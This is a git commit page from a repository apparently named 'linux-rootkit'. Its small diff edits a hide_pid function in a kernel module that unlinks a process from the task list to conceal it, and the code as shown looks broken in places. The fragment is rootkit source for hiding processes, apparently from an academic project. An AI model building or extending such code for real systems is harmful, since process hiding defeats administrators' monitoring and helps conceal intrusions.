linux-rootkit

commit 0d33f3264f19bd725770f28e544d5b7f110cd2e0
parent 19c9c4d360340e54a932d1d0cf4e2a9c57fded32
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 03:10:52 +0100

fixes issues

Diffstat:
M
rootkit/src/pidhide.c
 | 
7
+++----

1 file changed, 3 insertions(+), 4 deletions(-)
diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c
@@ -78,8 +78,6 @@ hide_pid(pid_t pid)
     struct list_head *pos, *q;
     struct task_struct mylist;
 
-
-
     rcu_read_lock();
     atomic_dec(&__task_cred(ts)->user->processes);
     rcu_read_unlock();
@@ -87,9 +85,10 @@ hide_pid(pid_t pid)
     write_lock_irq(rwlock);
     list_for_each_safe(pos, q, &mylist.tasks){
         tmp= list_entry(pos, struct task_struct, tasks);
-        if (pos == ts)
+        if (((struct task_struct *)pos) == ((struct task_struct *)ts)) {
             list_del(pos);
-        free(tmp);
+            DEBUG_INFO("FOUND\n");
+        }
     }
     write_unlock_irq(rwlock);
 }